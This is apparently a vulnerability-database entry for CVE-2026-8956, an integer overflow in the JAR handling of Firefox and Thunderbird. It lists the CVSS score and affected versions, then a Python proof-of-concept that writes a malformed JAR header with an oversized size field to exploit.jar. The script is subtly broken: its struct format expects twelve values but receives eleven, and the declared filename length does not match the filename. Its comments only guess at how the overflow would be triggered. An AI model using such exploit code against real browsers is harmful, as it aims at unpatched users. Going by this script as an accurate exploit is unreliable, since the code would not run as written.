Integer overflow in the Networking: JAR component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 140.11
Thunderbird < 151
Thunderbird < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# Proof of Concept for CVE-2026-8956
# This script generates a malformed JAR file header to trigger the integer overflow.
def generate_malicious_jar():
# JAR files are essentially ZIP files.
# We simulate a Local File Header with a manipulated compressed size.
# If the parser adds a constant to this size without checking overflow,
# it may wrap around to a small positive number.
signature = 0x04034b50 # Local file header signature
version_needed = 20
flags = 0
compression_method = 0 # Store
# Malicious size value intended to cause overflow during calculation
# E.g., if logic is 'size + header_len', this might wrap around 32-bit int
malicious_size = 0xFFFFFFF0
filename_len = 10
extra_len = 0
header = struct.pack('<IHHHHHHIIIHH',
signature,
version_needed,
flags,
compression_method,
0, # mod time
0, # mod date
0, # crc32
malicious_size, # compressed size
malicious_size, # uncompressed size
filename_len,
extra_len)
filename = b'test.txt'
payload = header + filename
with open('exploit.jar', 'wb') as f:
f.write(payload)
# Fill rest with dummy data to match size if necessary
f.write(b'A' * 100)
print("Malformed JAR file generated: exploit.jar")
if __name__ == "__main__":
generate_malicious_jar()